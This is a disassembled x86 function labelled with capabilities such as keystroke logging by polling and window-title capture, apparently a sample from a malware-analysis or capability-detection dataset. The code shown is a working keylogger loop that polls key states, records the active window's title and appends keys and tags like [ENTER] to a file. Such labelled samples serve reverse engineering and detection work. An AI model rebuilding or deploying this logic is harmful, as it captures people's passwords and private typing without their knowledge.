Function at 0x10039e90
Capabilities:
Check for foreground window switch
Get graphical window text
Get keyboard layout
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1068
call fcn.1011abd0
mov eax, dword [0x101a49d4]
xor eax, esp
mov dword [esp + 0x1064], eax
push esi
push edi
call fcn.10039b90
cmp byte [0x101abc6d], 0
jne 0x1003adad
mov edi, 0xa
mov esi, 0xffff8001
nop dword [eax]
call fcn.1012269d
cdq
idiv edi
add edx, 0xa
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 8
mov dword [esp + 0x14], eax
nop dword [eax + eax]
movsx edi, ax
push edi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
jne 0x1003ad12
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10039fde
push 0x800
lea eax, [esp + 0x86c]
push 0
push eax
call fcn.1011ce00
add esp, 0xc
lea eax, [esp + 0x868]
push 0x400
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x10039fde
lea eax, [esp + 0x868]
push eax
push 0x101ab1d8
call fcn.101257b6
add esp, 8
test eax, eax
je 0x10039fde
push 0x800
lea eax, [esp + 0x6c]
push 0
push eax
call fcn.1011ce00
add esp, 0xc
lea eax, [esp + 0x68]
push str._n_n_Window_title_:
push 0x400
push eax
call fcn.101241c9
add esp, 0xc
lea eax, [esp + 0x868]
push eax
lea eax, [esp + 0x6c]
push 0x400
push eax
call fcn.101241c9
add esp, 0xc
lea eax, [esp + 0x68]
push 0x1018eeb0
push 0x400
push eax
call fcn.101241c9
add esp, 0xc
lea ecx, [esp + 0x68]
call fcn.10039a80
lea eax, [esp + 0x868]
push eax
push 0x400
push 0x101ab1d8
call fcn.10124165
add esp, 0xc
mov eax, dword [esp + 0x14]
cmp ax, 0x27
jl 0x10039ff2
cmp ax, 0x5b
jl 0x1003ad2b
lea eax, [edi - 8]
cmp eax, 0xd6
ja case.0x1003a007.10
movzx eax, byte [eax + 0x1003ae78]
jmp dword [eax*4 + 0x1003add4]
mov ecx, 0x1018e18c
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1018e18c
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1018e18c
jmp 0x1003acf5
mov ecx, str._SHIFT_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._SHIFT_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._SHIFT_
jmp 0x1003acf5
mov ecx, str._ENTER_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._ENTER_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._ENTER_
jmp 0x1003acf5
mov ecx, str._BACKSPACE_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._BACKSPACE_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._BACKSPACE_
jmp 0x1003acf5
mov ecx, str._TAB_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._TAB_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._TAB_
jmp 0x1003acf5
mov ecx, str._CTRL_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._CTRL_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._CTRL_
jmp 0x1003acf5
mov ecx, str._DEL_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._DEL_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._DEL_
jmp 0x1003acf5
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xba
push 0xba
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xbf
push 0xbf
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xc0
push 0xc0
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xdb
push 0xdb
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x28]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xdc
push 0xdc
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x2c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xdd
push 0xdd
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x30]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xde
push 0xde
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov ecx, str.23456789
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.23456789
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str.23456789
jmp 0x1003acf5
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x34]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xbc
push 0xbc
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov ecx, 0x1018e190
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1018e190
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1018e190
jmp 0x1003acf5
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x38]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
push edi
push 0xbe
push 0xbe
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
jmp case.0x1003a007.10
mov ecx, 0x1018fd64
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1018fd64
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1018fd64
jmp 0x1003acf5
mov ecx, 0x1018f934
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1018f934
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1018f934
jmp 0x1003acf5
mov ecx, 0x10190540
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190540
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190540
jmp 0x1003acf5
mov ecx, 0x10190544
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190544
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190544
jmp 0x1003acf5
mov ecx, 0x10190548
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190548
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190548
jmp 0x1003acf5
mov ecx, 0x1019054c
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1019054c
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1019054c
jmp 0x1003acf5
mov ecx, 0x10190550
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190550
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190550
jmp 0x1003acf5
mov ecx, 0x10190554
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190554
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190554
jmp 0x1003acf5
mov ecx, 0x10190558
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190558
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190558
jmp 0x1003acf5
mov ecx, 0x1019055c
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x1019055c
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x1019055c
jmp 0x1003acf5
mov ecx, 0x10190560
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x10190560
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push 0x10190560
jmp 0x1003acf5
mov ecx, str._PAGE_UP_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._PAGE_UP_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._PAGE_UP_
jmp 0x1003acf5
mov ecx, str._PAGE_DOWN_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._PAGE_DOWN_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._PAGE_DOWN_
jmp 0x1003acf5
mov ecx, str._END_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._END_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._END_
jmp 0x1003acf5
mov ecx, str._HOME_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._HOME_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._HOME_
jmp 0x1003acf5
mov ecx, str._WIN_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._WIN_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._WIN_
jmp 0x1003acf5
mov ecx, str._MUTE_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._MUTE_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._MUTE_
jmp 0x1003acf5
mov ecx, str._DOWN_VOLUME_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._DOWN_VOLUME_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._DOWN_VOLUME_
jmp 0x1003acf5
mov ecx, str._UP_VOLUME_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._UP_VOLUME_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._UP_VOLUME_
jmp 0x1003acf5
mov ecx, str._PLAY_PAUSE_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._PLAY_PAUSE_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._PLAY_PAUSE_
jmp 0x1003acf5
mov ecx, str._STOP_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._STOP_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._STOP_
jmp 0x1003acf5
mov ecx, str._ALT_
call fcn.10039940
push 0
push 0x80
push 4
push 0
push 1
push 4
push 0x101aba08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str._ALT_
mov dword [0x101a6320], eax
call fcn.101251d3
add esp, 4
add eax, eax
push 0
push 0x101abc54
push eax
push str._ALT_
push dword [0x101a6320]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x101a6320]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0xffff8001
mov eax, dword [esp + 0x14]
mov ecx, 0xde
inc eax
mov dword [esp + 0x14], eax
cmp ax, cx
jle 0x10039ef0
jmp 0x1003ad96
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.10126050
add esp, 4
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, dword [esp + 0x14]
xorps xmm0, xmm0
push eax
push 0
push 0x10
lea eax, [esp + 0x4c]
movsx ecx, cx
push eax
push edi
push ecx
push ecx
movaps xmmword [esp + 0x5c], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [esp + 0x40]
call fcn.10039a80
push edi
call fcn.10124e2f
add esp, 4
cmp byte [0x101abc6d], 0
mov esi, 0xffff8001
mov edi, 0xa
je 0x10039ed0
mov ecx, dword [esp + 0x106c]
pop edi
pop esi
xor ecx, esp
mov dword [0x101ab9d8], 0
mov byte [0x101abc6d], 0
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret